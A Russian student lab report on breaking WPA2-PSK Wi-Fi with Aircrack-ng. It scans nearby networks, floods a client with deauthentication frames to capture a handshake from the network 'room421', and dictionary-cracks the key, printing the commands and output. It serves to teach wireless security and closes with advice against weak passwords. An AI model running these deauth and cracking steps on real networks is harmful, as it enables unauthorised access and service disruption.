Лабораторная работа №6.
SSL/TLC

Скрипаль Борис

21 мая 2016 г.

Оглавление

1 Цель работы

Изучить основные возможности пакета AirCrack и принципы взлома WPA/WPA2 PSK и WEP.

2 Изучение пакета Aircrack

2.1 Описание основных утилит пакета Aircrack

- Airodump-ng - утилита, предназначенная для захвата пакетов протокола 802.11.
- Aireplay-ng - утилита, для генерации трафика, необходимого для взлома при помощи утилиты aircrack-ng.
- Aircrack-ng - утилита для взлома ключей WEP и WPA при помощи перебора по словарю.

2.2 Запуск режима мониторинга на бестроводном интерфейсе

```
sba@sba-Lenovo-G580:~$ sudo airmon-ng start wlp3s0

Found 4 processes that could cause trouble.
If airodump-ng, aireplay-ng or airtun-ng stops working after
a short period of time, you may want to kill (some of) them!

PID     Name
673     NetworkManager
712     avahi-daemon
795     avahi-daemon
907     wpa_supplicant

Interface       Chipset         Driver

mon0            Atheros AR9485  ath9k - [phy0]
wlp3s0          Atheros AR9485  ath9k - [phy0]
                                (monitor mode enabled on mon1)
```

2.3 Запустить утилиту airodump и изучить форматы вывода этой утилиты

При указании ключа –write, утилита создает набор файлов с заданным префиксом. Два из которых связаны с информацией о доступных сетях и представлены в двух форматах: csv и xml. Еще два фала содержать информацию о перехваченных пакетах. Файл типа .cap содержит перехваченные пакеты, в то время как csv содержит лишь сокращенную информацию.

3 Практическое задание

Запустим режим мониторинга на беспроводном интерфейсе

```
sba@sba-Lenovo-G580:~$ sudo airodump-ng mon1

CH  6 ][ Elapsed: 20 s ][ 2016-05-21
13:07

BSSID              PWR  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID

D8:5D:4C:DA:F8:2E  -32      194     4025  263   5  54 . WPA2 CCMP   PSK  room421
10:BF:48:B2:DF:DC  -47      188        0    0   5  54e  WPA2 CCMP   PSK  .19nEw
14:CC:20:2D:29:0C  -62      151        0    0   6  54e. WPA2 CCMP   PSK  Big Bang=)
1C:7E:E5:3E:AF:10  -64       60        0    0   4  54e. WPA2 CCMP   PSK  417
C4:A8:1D:2A:12:5E  -66        1        0    0   1  54e  WPA2 CCMP   PSK  SFedU
60:A4:4C:3B:80:20  -66       57      409    8   6  54e  WPA2 CCMP   PSK  ASUS418
74:EA:3A:E8:95:DA  -73        1        0    0  11  54e. WPA2 CCMP   PSK  Enot
54:E6:FC:F2:FF:00  -75        1        0    0  10  54e. WPA2 CCMP   PSK  Signal_is_kosmosa
00:23:CD:DA:71:B2  -77       24        0    0   6  54 . WPA2 CCMP   PSK  room219
AC:22:0B:54:D5:A8  -84        0        0    0  13  54e  WPA2 CCMP   PSK  KrG

BSSID              STATION            PWR   Rate    Lost    Frames  Probe
```

```
(not associated)   2C:D0:5A:A4:AB:E0    0    0 - 1      0       13
(not associated)   B4:52:7E:92:5C:8A  -84    0 - 1      0        1
D8:5D:4C:DA:F8:2E  FC:F8:AE:DA:5D:18  -55   24 - 5      0     3872
60:A4:4C:3B:80:20  80:56:F2:E0:3D:61  -77    1e- 1e   449      408
```

Интересующая нас сеть:

```
D8:5D:4C:DA:F8:2E  -32      194     4025  263   5  54 . WPA2 CCMP   PSK
room421
```

Запустим сбор трафика для получения аутентификационных сообщений:

```
sba@sba-Lenovo-G580:~$ sudo airodump-ng mon1 --write airdump --bssid D8:5D:
-c 5

 CH  5 ][ Elapsed: 28 s ][ 2016-05-21 13:11 ][ fixed channel mon1: -1

 BSSID              PWR RXQ  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID

 D8:5D:4C:DA:F8:2E  -31 100      264     8822  498   5  54 . WPA2 CCMP   PSK  room421

 BSSID              STATION            PWR   Rate    Lost    Frames  Probe

 D8:5D:4C:DA:F8:2E  FC:F8:AE:DA:5D:18  -56   11 -36     12      8578
```

Произведем деаутентификацию одного из клиентов (клиента с MAC-адресом C:F8:AE:DA:5D:18), до тех пор, пока не удастся собрать необходимых для взлома аутентификационных сообщений.

```
sba@sba-Lenovo-G580:~$ sudo aireplay-ng --ignore-negative-one --deauth 150 -a D8:5D:4C:DA:F

13:20:09  Waiting for beacon frame (BSSID: D8:5D:4C:DA:F8:2E) on channel -1
13:20:10  Sending 64 directed DeAuth. STMAC: [FC:F8:AE:DA:5D:18] [32|69 ACKs]
13:20:11  Sending 64 directed DeAuth. STMAC: [FC:F8:AE:DA:5D:18] [35|63 ACKs]
13:20:11  Sending 64 directed DeAuth. STMAC: [FC:F8:AE:DA:5D:18] [ 3|57 ACKs]
13:20:12  Sending 64 directed DeAuth. STMAC: [FC:F8:AE:DA:5D:18] [ 0|59 ACKs]
13:20:12  Sending 64 directed DeAuth. STMAC: [FC:F8:AE:DA:5D:18] [ 2|56 ACKs]
13:20:13  Sending 64 directed DeAuth. STMAC: [FC:F8:AE:DA:5D:18] [ 0|60 ACKs]
13:20:13  Sending 64 directed DeAuth. STMAC: [FC:F8:AE:DA:5D:18] [ 0|60 ACKs]
13:20:14  Sending 64 directed DeAuth. STMAC: [FC:F8:AE:DA:5D:18] [ 0|57 ACKs]
13:20:14  Sending 64 directed DeAuth. STMAC: [FC:F8:AE:DA:5D:18] [10|55 ACKs]
13:20:15  Sending 64 directed DeAuth. STMAC: [FC:F8:AE:DA:5D:18] [ 4|58 ACKs]
13:20:15  Sending 64 directed DeAuth. STMAC: [FC:F8:AE:DA:5D:18] [ 0|57 ACKs]
```

В результате перехватываем пакет handshake:

```
sba@sba-Lenovo-G580:~$ sudo airodump-ng mon1 --bssid D8:5D:4C:DA:F8:2E  -c 6 --write dump -

 CH  6 ][ Elapsed: 1 min ][ 2016-05-21 13:28 ][ WPA handshake: D8:5D:4C:DA:F8:2E

 BSSID              PWR RXQ  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID

 D8:5D:4C:DA:F8:2E  -32 100      712     5574  166   5  54 . WPA2 CCMP   PSK  room421

 BSSID              STATION            PWR   Rate    Lost    Frames  Probe

 D8:5D:4C:DA:F8:2E  D8:E5:6D:94:90:46  -49   54 - 6      0       126  room421
 D8:5D:4C:DA:F8:2E  FC:F8:AE:DA:5D:18  -51   54 -48      3      5129
```

Произведем взлом используя словарь паролей. Для того, что бы взлом происходил быстрее, создадим свой словарь паролей (dict.dic).

```
sba@sba-Lenovo-G580:~$ sudo aircrack-ng dump-03.cap -w dict.dic
Opening dump-03.cap
Read 39140 packets.

   #  BSSID              ESSID                     Encryption

   1  D8:5D:4C:DA:F8:2E  room421                   WPA (1 handshake)
```

```
Choosing first network as target.

Opening dump-03.cap
Reading packets, please wait...

                                Aircrack-ng 1.2 beta3

                            [00:00:00] 1 keys tested (358.84 k/s)

                                KEY FOUND! [ censored ]

      Master Key     : F9 C3 60 85 42 26 AB 6E 15 80 8D 73 A7 1A 76 63
                       45 FC B0 FD A5 FD 58 24 8A CB 80 38 3C 21 C6 BA

      Transient Key  : 49 13 7A 7D CF E4 00 FC AA 8C DB 8A 58 AC 7F DF
                       D5 FF 15 6A AC 4D D2 D1 F7 B4 02 69 37 F7 22 AE
                       4B E7 B3 53 B9 53 24 18 49 48 56 6B 1C BB 1A FE
                       C4 BA 3A 08 E5 98 6D 96 AF 25 64 0B 25 D4 03 A9

      EAPOL HMAC     : 7D 59 5E 9F AE 1B 7A 1D B5 F6 3A 75 75 51 C2 76
```

В результате видим сообщение об успешно подобранном пароле, а так же сам пароль.

4 Выводы

В ходе данной работы были изучены основные возможности пакета AirCrack и принципы взлома WPA/WPA2 PSK. Данный инструмент позволяет прослушивать пакеты, генерировать новые и на основе handshake, а так же осуществлять взлом пароля сети при помощи перебора по словарю, что в реальных ситуациях очень ресурсозатратно. Однако, с дургой стороны, деаутентификация клиента не требует особых затрат, что может быть использовано в ряде атак. В ходе работы было выяснено, что для защиты сети не стоит использовать простые пароли или пароли, находящиеся в различных словарях паролей.